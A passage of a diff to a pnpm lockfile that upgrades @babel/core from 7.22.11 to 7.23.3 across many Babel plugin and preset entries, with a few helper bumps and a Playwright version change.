     resolution: {integrity: sha512-AconbMKOMkyG+xCng2JogMCDcqW8wedQAqpVIL4cOSescZ7+iW8utC6YDZLMCSUIReEA733gzRSaOSXMAt/4WQ==}
     engines: {node: '>=6.9.0'}
     peerDependencies:
       '@babel/core': ^7.0.0-0
     dependencies:
-      '@babel/core': 7.22.11
+      '@babel/core': 7.23.3
       '@babel/helper-plugin-utils': 7.22.5
       '@babel/helper-skip-transparent-expression-wrappers': 7.22.5
-      '@babel/plugin-syntax-optional-chaining': 7.8.3(@babel/core@7.22.11)
+      '@babel/plugin-syntax-optional-chaining': 7.8.3(@babel/core@7.23.3)
     dev: true
 
-  /@babel/plugin-transform-parameters@7.22.5(@babel/core@7.22.11):
+  /@babel/plugin-transform-parameters@7.22.5(@babel/core@7.23.3):
     resolution: {integrity: sha512-AVkFUBurORBREOmHRKo06FjHYgjrabpdqRSwq6+C7R5iTCZOsM4QbcB27St0a4U6fffyAOqh3s/qEfybAhfivg==}
     engines: {node: '>=6.9.0'}
     peerDependencies:
       '@babel/core': ^7.0.0-0
     dependencies:
-      '@babel/core': 7.22.11
+      '@babel/core': 7.23.3
       '@babel/helper-plugin-utils': 7.22.5
     dev: true
 
-  /@babel/plugin-transform-private-methods@7.22.5(@babel/core@7.22.11):
+  /@babel/plugin-transform-private-methods@7.22.5(@babel/core@7.23.3):
     resolution: {integrity: sha512-PPjh4gyrQnGe97JTalgRGMuU4icsZFnWkzicB/fUtzlKUqvsWBKEpPPfr5a2JiyirZkHxnAqkQMO5Z5B2kK3fA==}
     engines: {node: '>=6.9.0'}
     peerDependencies:
       '@babel/core': ^7.0.0-0
     dependencies:
-      '@babel/core': 7.22.11
-      '@babel/helper-create-class-features-plugin': 7.22.11(@babel/core@7.22.11)
+      '@babel/core': 7.23.3
+      '@babel/helper-create-class-features-plugin': 7.22.15(@babel/core@7.23.3)
       '@babel/helper-plugin-utils': 7.22.5
     dev: true
 
-  /@babel/plugin-transform-private-property-in-object@7.22.5(@babel/core@7.22.11):
+  /@babel/plugin-transform-private-property-in-object@7.22.5(@babel/core@7.23.3):
     resolution: {integrity: sha512-/9xnaTTJcVoBtSSmrVyhtSvO3kbqS2ODoh2juEU72c3aYonNF0OMGiaz2gjukyKM2wBBYJP38S4JiE0Wfb5VMQ==}
     engines: {node: '>=6.9.0'}
     peerDependencies:
       '@babel/core': ^7.0.0-0
     dependencies:
-      '@babel/core': 7.22.11
+      '@babel/core': 7.23.3
       '@babel/helper-annotate-as-pure': 7.22.5
-      '@babel/helper-create-class-features-plugin': 7.22.11(@babel/core@7.22.11)
+      '@babel/helper-create-class-features-plugin': 7.22.15(@babel/core@7.23.3)
       '@babel/helper-plugin-utils': 7.22.5
-      '@babel/plugin-syntax-private-property-in-object': 7.14.5(@babel/core@7.22.11)
+      '@babel/plugin-syntax-private-property-in-object': 7.14.5(@babel/core@7.23.3)
     dev: true
 
-  /@babel/plugin-transform-property-literals@7.22.5(@babel/core@7.22.11):
+  /@babel/plugin-transform-property-literals@7.22.5(@babel/core@7.23.3):
     resolution: {integrity: sha512-TiOArgddK3mK/x1Qwf5hay2pxI6wCZnvQqrFSqbtg1GLl2JcNMitVH/YnqjP+M31pLUeTfzY1HAXFDnUBV30rQ==}
     engines: {node: '>=6.9.0'}
     peerDependencies:
       '@babel/core': ^7.0.0-0
     dependencies:
-      '@babel/core': 7.22.11
+      '@babel/core': 7.23.3
       '@babel/helper-plugin-utils': 7.22.5
     dev: true
 
-  /@babel/plugin-transform-regenerator@7.22.5(@babel/core@7.22.11):
+  /@babel/plugin-transform-regenerator@7.22.5(@babel/core@7.23.3):
     resolution: {integrity: sha512-rR7KePOE7gfEtNTh9Qw+iO3Q/e4DEsoQ+hdvM6QUDH7JRJ5qxq5AA52ZzBWbI5i9lfNuvySgOGP8ZN7LAmaiPw==}
     engines: {node: '>=6.9.0'}
     peerDependencies:
       '@babel/core': ^7.0.0-0
     dependencies:
-      '@babel/core': 7.22.11
+      '@babel/core': 7.23.3
       '@babel/helper-plugin-utils': 7.22.5
       regenerator-transform: 0.15.1
     dev: true
 
-  /@babel/plugin-transform-reserved-words@7.22.5(@babel/core@7.22.11):
+  /@babel/plugin-transform-reserved-words@7.22.5(@babel/core@7.23.3):
     resolution: {integrity: sha512-DTtGKFRQUDm8svigJzZHzb/2xatPc6TzNvAIJ5GqOKDsGFYgAskjRulbR/vGsPKq3OPqtexnz327qYpP57RFyA==}
     engines: {node: '>=6.9.0'}
     peerDependencies:
       '@babel/core': ^7.0.0-0
     dependencies:
-      '@babel/core': 7.22.11
+      '@babel/core': 7.23.3
       '@babel/helper-plugin-utils': 7.22.5
     dev: true
 
-  /@babel/plugin-transform-shorthand-properties@7.22.5(@babel/core@7.22.11):
+  /@babel/plugin-transform-shorthand-properties@7.22.5(@babel/core@7.23.3):
     resolution: {integrity: sha512-vM4fq9IXHscXVKzDv5itkO1X52SmdFBFcMIBZ2FRn2nqVYqw6dBexUgMvAjHW+KXpPPViD/Yo3GrDEBaRC0QYA==}
     engines: {node: '>=6.9.0'}
     peerDependencies:
       '@babel/core': ^7.0.0-0
     dependencies:
-      '@babel/core': 7.22.11
+      '@babel/core': 7.23.3
       '@babel/helper-plugin-utils': 7.22.5
     dev: true
 
-  /@babel/plugin-transform-spread@7.22.5(@babel/core@7.22.11):
+  /@babel/plugin-transform-spread@7.22.5(@babel/core@7.23.3):
     resolution: {integrity: sha512-5ZzDQIGyvN4w8+dMmpohL6MBo+l2G7tfC/O2Dg7/hjpgeWvUx8FzfeOKxGog9IimPa4YekaQ9PlDqTLOljkcxg==}
     engines: {node: '>=6.9.0'}
     peerDependencies:
       '@babel/core': ^7.0.0-0
     dependencies:
-      '@babel/core': 7.22.11
+      '@babel/core': 7.23.3
       '@babel/helper-plugin-utils': 7.22.5
       '@babel/helper-skip-transparent-expression-wrappers': 7.22.5
     dev: true
 
-  /@babel/plugin-transform-sticky-regex@7.22.5(@babel/core@7.22.11):
+  /@babel/plugin-transform-sticky-regex@7.22.5(@babel/core@7.23.3):
     resolution: {integrity: sha512-zf7LuNpHG0iEeiyCNwX4j3gDg1jgt1k3ZdXBKbZSoA3BbGQGvMiSvfbZRR3Dr3aeJe3ooWFZxOOG3IRStYp2Bw==}
     engines: {node: '>=6.9.0'}
     peerDependencies:
       '@babel/core': ^7.0.0-0
     dependencies:
-      '@babel/core': 7.22.11
+      '@babel/core': 7.23.3
       '@babel/helper-plugin-utils': 7.22.5
     dev: true
 
-  /@babel/plugin-transform-template-literals@7.22.5(@babel/core@7.22.11):
+  /@babel/plugin-transform-template-literals@7.22.5(@babel/core@7.23.3):
     resolution: {integrity: sha512-5ciOehRNf+EyUeewo8NkbQiUs4d6ZxiHo6BcBcnFlgiJfu16q0bQUw9Jvo0b0gBKFG1SMhDSjeKXSYuJLeFSMA==}
     engines: {node: '>=6.9.0'}
     peerDependencies:
       '@babel/core': ^7.0.0-0
     dependencies:
-      '@babel/core': 7.22.11
+      '@babel/core': 7.23.3
       '@babel/helper-plugin-utils': 7.22.5
     dev: true
 
-  /@babel/plugin-transform-typeof-symbol@7.22.5(@babel/core@7.22.11):
+  /@babel/plugin-transform-typeof-symbol@7.22.5(@babel/core@7.23.3):
     resolution: {integrity: sha512-bYkI5lMzL4kPii4HHEEChkD0rkc+nvnlR6+o/qdqR6zrm0Sv/nodmyLhlq2DO0YKLUNd2VePmPRjJXSBh9OIdA==}
     engines: {node: '>=6.9.0'}
     peerDependencies:
       '@babel/core': ^7.0.0-0
     dependencies:
-      '@babel/core': 7.22.11
+      '@babel/core': 7.23.3
       '@babel/helper-plugin-utils': 7.22.5
     dev: true
 
@@ -1819,150 +1704,150 @@ packages:
       '@babel/plugin-syntax-typescript': 7.23.3(@babel/core@7.23.3)
     dev: true
 
-  /@babel/plugin-transform-unicode-escapes@7.22.5(@babel/core@7.22.11):
+  /@babel/plugin-transform-unicode-escapes@7.22.5(@babel/core@7.23.3):
     resolution: {integrity: sha512-biEmVg1IYB/raUO5wT1tgfacCef15Fbzhkx493D3urBI++6hpJ+RFG4SrWMn0NEZLfvilqKf3QDrRVZHo08FYg==}
     engines: {node: '>=6.9.0'}
     peerDependencies:
       '@babel/core': ^7.0.0-0
     dependencies:
-      '@babel/core': 7.22.11
+      '@babel/core': 7.23.3
       '@babel/helper-plugin-utils': 7.22.5
     dev: true
 
-  /@babel/plugin-transform-unicode-property-regex@7.22.5(@babel/core@7.22.11):
+  /@babel/plugin-transform-unicode-property-regex@7.22.5(@babel/core@7.23.3):
     resolution: {integrity: sha512-HCCIb+CbJIAE6sXn5CjFQXMwkCClcOfPCzTlilJ8cUatfzwHlWQkbtV0zD338u9dZskwvuOYTuuaMaA8J5EI5A==}
     engines: {node: '>=6.9.0'}
     peerDependencies:
       '@babel/core': ^7.0.0-0
     dependencies:
-      '@babel/core': 7.22.11
-      '@babel/helper-create-regexp-features-plugin': 7.22.5(@babel/core@7.22.11)
+      '@babel/core': 7.23.3
+      '@babel/helper-create-regexp-features-plugin': 7.22.5(@babel/core@7.23.3)
       '@babel/helper-plugin-utils': 7.22.5
     dev: true
 
-  /@babel/plugin-transform-unicode-regex@7.22.5(@babel/core@7.22.11):
+  /@babel/plugin-transform-unicode-regex@7.22.5(@babel/core@7.23.3):
     resolution: {integrity: sha512-028laaOKptN5vHJf9/Arr/HiJekMd41hOEZYvNsrsXqJ7YPYuX2bQxh31fkZzGmq3YqHRJzYFFAVYvKfMPKqyg==}
     engines: {node: '>=6.9.0'}
     peerDependencies:
       '@babel/core': ^7.0.0-0
     dependencies:
-      '@babel/core': 7.22.11
-      '@babel/helper-create-regexp-features-plugin': 7.22.5(@babel/core@7.22.11)
+      '@babel/core': 7.23.3
+      '@babel/helper-create-regexp-features-plugin': 7.22.5(@babel/core@7.23.3)
       '@babel/helper-plugin-utils': 7.22.5
     dev: true
 
-  /@babel/plugin-transform-unicode-sets-regex@7.22.5(@babel/core@7.22.11):
+  /@babel/plugin-transform-unicode-sets-regex@7.22.5(@babel/core@7.23.3):
     resolution: {integrity: sha512-lhMfi4FC15j13eKrh3DnYHjpGj6UKQHtNKTbtc1igvAhRy4+kLhV07OpLcsN0VgDEw/MjAvJO4BdMJsHwMhzCg==}
     engines: {node: '>=6.9.0'}
     peerDependencies:
       '@babel/core': ^7.0.0
     dependencies:
-      '@babel/core': 7.22.11
-      '@babel/helper-create-regexp-features-plugin': 7.22.5(@babel/core@7.22.11)
+      '@babel/core': 7.23.3
+      '@babel/helper-create-regexp-features-plugin': 7.22.5(@babel/core@7.23.3)
       '@babel/helper-plugin-utils': 7.22.5
     dev: true
 
-  /@babel/preset-env@7.22.5(@babel/core@7.22.11):
+  /@babel/preset-env@7.22.5(@babel/core@7.23.3):
     resolution: {integrity: sha512-fj06hw89dpiZzGZtxn+QybifF07nNiZjZ7sazs2aVDcysAZVGjW7+7iFYxg6GLNM47R/thYfLdrXc+2f11Vi9A==}
     engines: {node: '>=6.9.0'}
     peerDependencies:
       '@babel/core': ^7.0.0-0
     dependencies:
       '@babel/compat-data': 7.22.9
-      '@babel/core': 7.22.11
-      '@babel/helper-compilation-targets': 7.22.10
+      '@babel/core': 7.23.3
+      '@babel/helper-compilation-targets': 7.22.15
       '@babel/helper-plugin-utils': 7.22.5
-      '@babel/helper-validator-option': 7.22.5
-      '@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression': 7.22.5(@babel/core@7.22.11)
-      '@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining': 7.22.5(@babel/core@7.22.11)
-      '@babel/plugin-proposal-private-property-in-object': 7.21.0-placeholder-for-preset-env.2(@babel/core@7.22.11)
-      '@babel/plugin-syntax-async-generators': 7.8.4(@babel/core@7.22.11)
-      '@babel/plugin-syntax-class-properties': 7.12.13(@babel/core@7.22.11)
-      '@babel/plugin-syntax-class-static-block': 7.14.5(@babel/core@7.22.11)
-      '@babel/plugin-syntax-dynamic-import': 7.8.3(@babel/core@7.22.11)
-      '@babel/plugin-syntax-export-namespace-from': 7.8.3(@babel/core@7.22.11)
-      '@babel/plugin-syntax-import-assertions': 7.22.5(@babel/core@7.22.11)
-      '@babel/plugin-syntax-import-attributes': 7.22.5(@babel/core@7.22.11)
-      '@babel/plugin-syntax-import-meta': 7.10.4(@babel/core@7.22.11)
-      '@babel/plugin-syntax-json-strings': 7.8.3(@babel/core@7.22.11)
-      '@babel/plugin-syntax-logical-assignment-operators': 7.10.4(@babel/core@7.22.11)
-      '@babel/plugin-syntax-nullish-coalescing-operator': 7.8.3(@babel/core@7.22.11)
-      '@babel/plugin-syntax-numeric-separator': 7.10.4(@babel/core@7.22.11)
-      '@babel/plugin-syntax-object-rest-spread': 7.8.3(@babel/core@7.22.11)
-      '@babel/plugin-syntax-optional-catch-binding': 7.8.3(@babel/core@7.22.11)
-      '@babel/plugin-syntax-optional-chaining': 7.8.3(@babel/core@7.22.11)
-      '@babel/plugin-syntax-private-property-in-object': 7.14.5(@babel/core@7.22.11)
-      '@babel/plugin-syntax-top-level-await': 7.14.5(@babel/core@7.22.11)
-      '@babel/plugin-syntax-unicode-sets-regex': 7.18.6(@babel/core@7.22.11)
-      '@babel/plugin-transform-arrow-functions': 7.22.5(@babel/core@7.22.11)
-      '@babel/plugin-transform-async-generator-functions': 7.22.5(@babel/core@7.22.11)
-      '@babel/plugin-transform-async-to-generator': 7.22.5(@babel/core@7.22.11)
-      '@babel/plugin-transform-block-scoped-functions': 7.22.5(@babel/core@7.22.11)
-      '@babel/plugin-transform-block-scoping': 7.22.5(@babel/core@7.22.11)
-      '@babel/plugin-transform-class-properties': 7.22.5(@babel/core@7.22.11)
-      '@babel/plugin-transform-class-static-block': 7.22.5(@babel/core@7.22.11)
-      '@babel/plugin-transform-classes': 7.22.5(@babel/core@7.22.11)
-      '@babel/plugin-transform-computed-properties': 7.22.5(@babel/core@7.22.11)
-      '@babel/plugin-transform-destructuring': 7.22.5(@babel/core@7.22.11)
-      '@babel/plugin-transform-dotall-regex': 7.22.5(@babel/core@7.22.11)
-      '@babel/plugin-transform-duplicate-keys': 7.22.5(@babel/core@7.22.11)
-      '@babel/plugin-transform-dynamic-import': 7.22.5(@babel/core@7.22.11)
-      '@babel/plugin-transform-exponentiation-operator': 7.22.5(@babel/core@7.22.11)
-      '@babel/plugin-transform-export-namespace-from': 7.22.5(@babel/core@7.22.11)
-      '@babel/plugin-transform-for-of': 7.22.5(@babel/core@7.22.11)
-      '@babel/plugin-transform-function-name': 7.22.5(@babel/core@7.22.11)
-      '@babel/plugin-transform-json-strings': 7.22.5(@babel/core@7.22.11)
-      '@babel/plugin-transform-literals': 7.22.5(@babel/core@7.22.11)
-      '@babel/plugin-transform-logical-assignment-operators': 7.22.5(@babel/core@7.22.11)
-      '@babel/plugin-transform-member-expression-literals': 7.22.5(@babel/core@7.22.11)
-      '@babel/plugin-transform-modules-amd': 7.22.5(@babel/core@7.22.11)
-      '@babel/plugin-transform-modules-commonjs': 7.22.5(@babel/core@7.22.11)
-      '@babel/plugin-transform-modules-systemjs': 7.22.5(@babel/core@7.22.11)
-      '@babel/plugin-transform-modules-umd': 7.22.5(@babel/core@7.22.11)
-      '@babel/plugin-transform-named-capturing-groups-regex': 7.22.5(@babel/core@7.22.11)
-      '@babel/plugin-transform-new-target': 7.22.5(@babel/core@7.22.11)
-      '@babel/plugin-transform-nullish-coalescing-operator': 7.22.5(@babel/core@7.22.11)
-      '@babel/plugin-transform-numeric-separator': 7.22.5(@babel/core@7.22.11)
-      '@babel/plugin-transform-object-rest-spread': 7.22.5(@babel/core@7.22.11)
-      '@babel/plugin-transform-object-super': 7.22.5(@babel/core@7.22.11)
-      '@babel/plugin-transform-optional-catch-binding': 7.22.5(@babel/core@7.22.11)
-      '@babel/plugin-transform-optional-chaining': 7.22.5(@babel/core@7.22.11)
-      '@babel/plugin-transform-parameters': 7.22.5(@babel/core@7.22.11)
-      '@babel/plugin-transform-private-methods': 7.22.5(@babel/core@7.22.11)
-      '@babel/plugin-transform-private-property-in-object': 7.22.5(@babel/core@7.22.11)
-      '@babel/plugin-transform-property-literals': 7.22.5(@babel/core@7.22.11)
-      '@babel/plugin-transform-regenerator': 7.22.5(@babel/core@7.22.11)
-      '@babel/plugin-transform-reserved-words': 7.22.5(@babel/core@7.22.11)
-      '@babel/plugin-transform-shorthand-properties': 7.22.5(@babel/core@7.22.11)
-      '@babel/plugin-transform-spread': 7.22.5(@babel/core@7.22.11)
-      '@babel/plugin-transform-sticky-regex': 7.22.5(@babel/core@7.22.11)
-      '@babel/plugin-transform-template-literals': 7.22.5(@babel/core@7.22.11)
-      '@babel/plugin-transform-typeof-symbol': 7.22.5(@babel/core@7.22.11)
-      '@babel/plugin-transform-unicode-escapes': 7.22.5(@babel/core@7.22.11)
-      '@babel/plugin-transform-unicode-property-regex': 7.22.5(@babel/core@7.22.11)
-      '@babel/plugin-transform-unicode-regex': 7.22.5(@babel/core@7.22.11)
-      '@babel/plugin-transform-unicode-sets-regex': 7.22.5(@babel/core@7.22.11)
-      '@babel/preset-modules': 0.1.5(@babel/core@7.22.11)
-      '@babel/types': 7.22.11
-      babel-plugin-polyfill-corejs2: 0.4.3(@babel/core@7.22.11)
-      babel-plugin-polyfill-corejs3: 0.8.1(@babel/core@7.22.11)
-      babel-plugin-polyfill-regenerator: 0.5.0(@babel/core@7.22.11)
+      '@babel/helper-validator-option': 7.22.15
+      '@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression': 7.22.5(@babel/core@7.23.3)
+      '@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining': 7.22.5(@babel/core@7.23.3)
+      '@babel/plugin-proposal-private-property-in-object': 7.21.0-placeholder-for-preset-env.2(@babel/core@7.23.3)
+      '@babel/plugin-syntax-async-generators': 7.8.4(@babel/core@7.23.3)
+      '@babel/plugin-syntax-class-properties': 7.12.13(@babel/core@7.23.3)
+      '@babel/plugin-syntax-class-static-block': 7.14.5(@babel/core@7.23.3)
+      '@babel/plugin-syntax-dynamic-import': 7.8.3(@babel/core@7.23.3)
+      '@babel/plugin-syntax-export-namespace-from': 7.8.3(@babel/core@7.23.3)
+      '@babel/plugin-syntax-import-assertions': 7.22.5(@babel/core@7.23.3)
+      '@babel/plugin-syntax-import-attributes': 7.22.5(@babel/core@7.23.3)
+      '@babel/plugin-syntax-import-meta': 7.10.4(@babel/core@7.23.3)
+      '@babel/plugin-syntax-json-strings': 7.8.3(@babel/core@7.23.3)
+      '@babel/plugin-syntax-logical-assignment-operators': 7.10.4(@babel/core@7.23.3)
+      '@babel/plugin-syntax-nullish-coalescing-operator': 7.8.3(@babel/core@7.23.3)
+      '@babel/plugin-syntax-numeric-separator': 7.10.4(@babel/core@7.23.3)
+      '@babel/plugin-syntax-object-rest-spread': 7.8.3(@babel/core@7.23.3)
+      '@babel/plugin-syntax-optional-catch-binding': 7.8.3(@babel/core@7.23.3)
+      '@babel/plugin-syntax-optional-chaining': 7.8.3(@babel/core@7.23.3)
+      '@babel/plugin-syntax-private-property-in-object': 7.14.5(@babel/core@7.23.3)
+      '@babel/plugin-syntax-top-level-await': 7.14.5(@babel/core@7.23.3)
+      '@babel/plugin-syntax-unicode-sets-regex': 7.18.6(@babel/core@7.23.3)
+      '@babel/plugin-transform-arrow-functions': 7.22.5(@babel/core@7.23.3)
+      '@babel/plugin-transform-async-generator-functions': 7.22.5(@babel/core@7.23.3)
+      '@babel/plugin-transform-async-to-generator': 7.22.5(@babel/core@7.23.3)
+      '@babel/plugin-transform-block-scoped-functions': 7.22.5(@babel/core@7.23.3)
+      '@babel/plugin-transform-block-scoping': 7.22.5(@babel/core@7.23.3)
+      '@babel/plugin-transform-class-properties': 7.22.5(@babel/core@7.23.3)
+      '@babel/plugin-transform-class-static-block': 7.22.5(@babel/core@7.23.3)
+      '@babel/plugin-transform-classes': 7.22.5(@babel/core@7.23.3)
+      '@babel/plugin-transform-computed-properties': 7.22.5(@babel/core@7.23.3)
+      '@babel/plugin-transform-destructuring': 7.22.5(@babel/core@7.23.3)
+      '@babel/plugin-transform-dotall-regex': 7.22.5(@babel/core@7.23.3)
+      '@babel/plugin-transform-duplicate-keys': 7.22.5(@babel/core@7.23.3)
+      '@babel/plugin-transform-dynamic-import': 7.22.5(@babel/core@7.23.3)
+      '@babel/plugin-transform-exponentiation-operator': 7.22.5(@babel/core@7.23.3)
+      '@babel/plugin-transform-export-namespace-from': 7.22.5(@babel/core@7.23.3)
+      '@babel/plugin-transform-for-of': 7.22.5(@babel/core@7.23.3)
+      '@babel/plugin-transform-function-name': 7.22.5(@babel/core@7.23.3)
+      '@babel/plugin-transform-json-strings': 7.22.5(@babel/core@7.23.3)
+      '@babel/plugin-transform-literals': 7.22.5(@babel/core@7.23.3)
+      '@babel/plugin-transform-logical-assignment-operators': 7.22.5(@babel/core@7.23.3)
+      '@babel/plugin-transform-member-expression-literals': 7.22.5(@babel/core@7.23.3)
+      '@babel/plugin-transform-modules-amd': 7.22.5(@babel/core@7.23.3)
+      '@babel/plugin-transform-modules-commonjs': 7.22.5(@babel/core@7.23.3)
+      '@babel/plugin-transform-modules-systemjs': 7.22.5(@babel/core@7.23.3)
+      '@babel/plugin-transform-modules-umd': 7.22.5(@babel/core@7.23.3)
+      '@babel/plugin-transform-named-capturing-groups-regex': 7.22.5(@babel/core@7.23.3)
+      '@babel/plugin-transform-new-target': 7.22.5(@babel/core@7.23.3)
+      '@babel/plugin-transform-nullish-coalescing-operator': 7.22.5(@babel/core@7.23.3)
+      '@babel/plugin-transform-numeric-separator': 7.22.5(@babel/core@7.23.3)
+      '@babel/plugin-transform-object-rest-spread': 7.22.5(@babel/core@7.23.3)
+      '@babel/plugin-transform-object-super': 7.22.5(@babel/core@7.23.3)
+      '@babel/plugin-transform-optional-catch-binding': 7.22.5(@babel/core@7.23.3)
+      '@babel/plugin-transform-optional-chaining': 7.22.5(@babel/core@7.23.3)
+      '@babel/plugin-transform-parameters': 7.22.5(@babel/core@7.23.3)
+      '@babel/plugin-transform-private-methods': 7.22.5(@babel/core@7.23.3)
+      '@babel/plugin-transform-private-property-in-object': 7.22.5(@babel/core@7.23.3)
+      '@babel/plugin-transform-property-literals': 7.22.5(@babel/core@7.23.3)
+      '@babel/plugin-transform-regenerator': 7.22.5(@babel/core@7.23.3)
+      '@babel/plugin-transform-reserved-words': 7.22.5(@babel/core@7.23.3)
+      '@babel/plugin-transform-shorthand-properties': 7.22.5(@babel/core@7.23.3)
+      '@babel/plugin-transform-spread': 7.22.5(@babel/core@7.23.3)
+      '@babel/plugin-transform-sticky-regex': 7.22.5(@babel/core@7.23.3)
+      '@babel/plugin-transform-template-literals': 7.22.5(@babel/core@7.23.3)
+      '@babel/plugin-transform-typeof-symbol': 7.22.5(@babel/core@7.23.3)
+      '@babel/plugin-transform-unicode-escapes': 7.22.5(@babel/core@7.23.3)
+      '@babel/plugin-transform-unicode-property-regex': 7.22.5(@babel/core@7.23.3)
+      '@babel/plugin-transform-unicode-regex': 7.22.5(@babel/core@7.23.3)
+      '@babel/plugin-transform-unicode-sets-regex': 7.22.5(@babel/core@7.23.3)
+      '@babel/preset-modules': 0.1.5(@babel/core@7.23.3)
+      '@babel/types': 7.23.4
+      babel-plugin-polyfill-corejs2: 0.4.3(@babel/core@7.23.3)
+      babel-plugin-polyfill-corejs3: 0.8.1(@babel/core@7.23.3)
+      babel-plugin-polyfill-regenerator: 0.5.0(@babel/core@7.23.3)
       core-js-compat: 3.31.0
       semver: 6.3.1
     transitivePeerDependencies:
       - supports-color
     dev: true
 
-  /@babel/preset-modules@0.1.5(@babel/core@7.22.11):
+  /@babel/preset-modules@0.1.5(@babel/core@7.23.3):
     resolution: {integrity: sha512-A57th6YRG7oR3cq/yt/Y84MvGgE0eJG2F1JLhKuyG+jFxEgrd/HAMJatiFtmOiZurz+0DkrvbheCLaV5f2JfjA==}
     peerDependencies:
       '@babel/core': ^7.0.0-0
     dependencies:
-      '@babel/core': 7.22.11
+      '@babel/core': 7.23.3
       '@babel/helper-plugin-utils': 7.22.5
-      '@babel/plugin-proposal-unicode-property-regex': 7.18.6(@babel/core@7.22.11)
-      '@babel/plugin-transform-dotall-regex': 7.22.5(@babel/core@7.22.11)
-      '@babel/types': 7.22.11
+      '@babel/plugin-proposal-unicode-property-regex': 7.18.6(@babel/core@7.23.3)
+      '@babel/plugin-transform-dotall-regex': 7.22.5(@babel/core@7.23.3)
+      '@babel/types': 7.23.4
       esutils: 2.0.3
     dev: true
 
@@ -3690,12 +3575,12 @@ packages:
       '@nodelib/fs.scandir': 2.1.5
       fastq: 1.15.0
 
-  /@playwright/test@1.40.0:
-    resolution: {integrity: sha512-PdW+kn4eV99iP5gxWNSDQCbhMaDVej+RXL5xr6t04nbKLCBwYtA046t7ofoczHOm8u6c+45hpDKQVZqtqwkeQg==}
+  /@playwright/test@1.39.0:
+    resolution: {integrity: sha512-3u1iFqgzl7zr004bGPYiN/5EZpRUSFddQBra8Rqll5N0/vfpqlP9I9EXqAoGacuAbX6c9Ulg/Cjqglp5VkK6UQ==}
     engines: {node: '>=16'}
     hasBin: true
     dependencies:
-      playwright: 1.40.0
+      playwright: 1.39.0
     dev: true
 
   /@polka/url@1.0.0-next.21:
@@ -3769,7 +3654,7 @@ packages:
     resolution: {integrity: sha512-Vfwj49iQunqxiuy/EDMVdDfqR2LM5BKfAOfFyzV3oDCHpXIsBjSUZT2/zdsoPVreeylVwf4alHf0U2ivA9OHPQ==}
     dev: false
 
-  /@rollup/plugin-babel@5.3.1(@babel/core@7.22.11)(rollup@2.79.1):
+  /@rollup/plugin-babel@5.3.1(@babel/core@7.23.3)(rollup@2.79.1):
     resolution: {integrity: sha512-WFfdLWU/xVWKeRQnKmIAQULUI7Il0gZnBIH/ZFO069wYIfPu+8zrfp/KMW0atmELoRDq8FbiP3VCss9MhCut7Q==}
     engines: {node: '>= 10.0.0'}
     peerDependencies:
@@ -3780,8 +3665,8 @@ packages:
       '@types/babel__core':
         optional: true
     dependencies:
-      '@babel/core': 7.22.11
-      '@babel/helper-module-imports': 7.22.5
+      '@babel/core': 7.23.3
+      '@babel/helper-module-imports': 7.22.15
       '@rollup/pluginutils': 3.1.0(rollup@2.79.1)
       rollup: 2.79.1
     dev: true
@@ -4853,7 +4738,7 @@ packages:
     peerDependencies:
       '@vue/cli-service': ^3.0.0 || ^4.0.0 || ^5.0.0-0
     dependencies:
-      '@vue/cli-service': 5.0.8(@babel/core@7.22.11)(@vue/compiler-sfc@3.3.8)(vue@3.3.8)
+      '@vue/cli-service': 5.0.8(@babel/core@7.23.3)(@vue/compiler-sfc@3.3.8)(vue@3.3.8)
       '@vue/cli-shared-utils': 5.0.8
     transitivePeerDependencies:
       - encoding
@@ -4864,10 +4749,10 @@ packages:
     peerDependencies:
       '@vue/cli-service': ^3.0.0 || ^4.0.0 || ^5.0.0-0
     dependencies:
-      '@vue/cli-service': 5.0.8(@babel/core@7.22.11)(@vue/compiler-sfc@3.3.8)(vue@3.3.8)
+      '@vue/cli-service': 5.0.8(@babel/core@7.23.3)(@vue/compiler-sfc@3.3.8)(vue@3.3.8)
     dev: true
 
-  /@vue/cli-service@5.0.8(@babel/core@7.22.11)(@vue/compiler-sfc@3.3.8)(vue@3.3.8):
+  /@vue/cli-service@5.0.8(@babel/core@7.23.3)(@vue/compiler-sfc@3.3.8)(vue@3.3.8):
     resolution: {integrity: sha512-nV7tYQLe7YsTtzFrfOMIHc5N2hp5lHG2rpYr0aNja9rNljdgcPZLyQRb2YRivTHqTv7lI962UXFURcpStHgyFw==}
     engines: {node: ^12.0.0 || >= 14.0.0}
     hasBin: true
@@ -4898,7 +4783,7 @@ packages:
       webpack-sources:
         optional: true
     dependencies:
-      '@babel/helper-compilation-targets': 7.22.5(@babel/core@7.22.11)
+      '@babel/helper-compilation-targets': 7.22.5(@babel/core@7.23.3)
       '@soda/friendly-errors-webpack-plugin': 1.8.1(webpack@5.86.0)
       '@soda/get-current-script': 1.0.2
       '@types/minimist': 1.2.2
@@ -5730,38 +5615,38 @@ packages:
       - debug
     dev: false
 
-  /babel-plugin-polyfill-corejs2@0.4.3(@babel/core@7.22.11):
+  /babel-plugin-polyfill-corejs2@0.4.3(@babel/core@7.23.3):
     resolution: {integrity: sha512-bM3gHc337Dta490gg+/AseNB9L4YLHxq1nGKZZSHbhXv4aTYU2MD2cjza1Ru4S6975YLTaL1K8uJf6ukJhhmtw==}
     peerDependencies:
       '@babel/core': ^7.0.0-0
     dependencies:
       '@babel/compat-data': 7.22.9
-      '@babel/core': 7.22.11
-      '@babel/helper-define-polyfill-provider': 0.4.0(@babel/core@7.22.11)
+      '@babel/core': 7.23.3
+      '@babel/helper-define-polyfill-provider': 0.4.0(@babel/core@7.23.3)
       semver: 6.3.1
     transitivePeerDependencies:
       - supports-color
     dev: true
 
-  /babel-plugin-polyfill-corejs3@0.8.1(@babel/core@7.22.11):
+  /babel-plugin-polyfill-corejs3@0.8.1(@babel/core@7.23.3):
     resolution: {integrity: sha512-ikFrZITKg1xH6pLND8zT14UPgjKHiGLqex7rGEZCH2EvhsneJaJPemmpQaIZV5AL03II+lXylw3UmddDK8RU5Q==}
     peerDependencies:
       '@babel/core': ^7.0.0-0
     dependencies:
-      '@babel/core': 7.22.11
-      '@babel/helper-define-polyfill-provider': 0.4.0(@babel/core@7.22.11)
+      '@babel/core': 7.23.3
+      '@babel/helper-define-polyfill-provider': 0.4.0(@babel/core@7.23.3)
       core-js-compat: 3.31.0
     transitivePeerDependencies:
       - supports-color
     dev: true
 
-  /babel-plugin-polyfill-regenerator@0.5.0(@babel/core@7.22.11):
+  /babel-plugin-polyfill-regenerator@0.5.0(@babel/core@7.23.3):
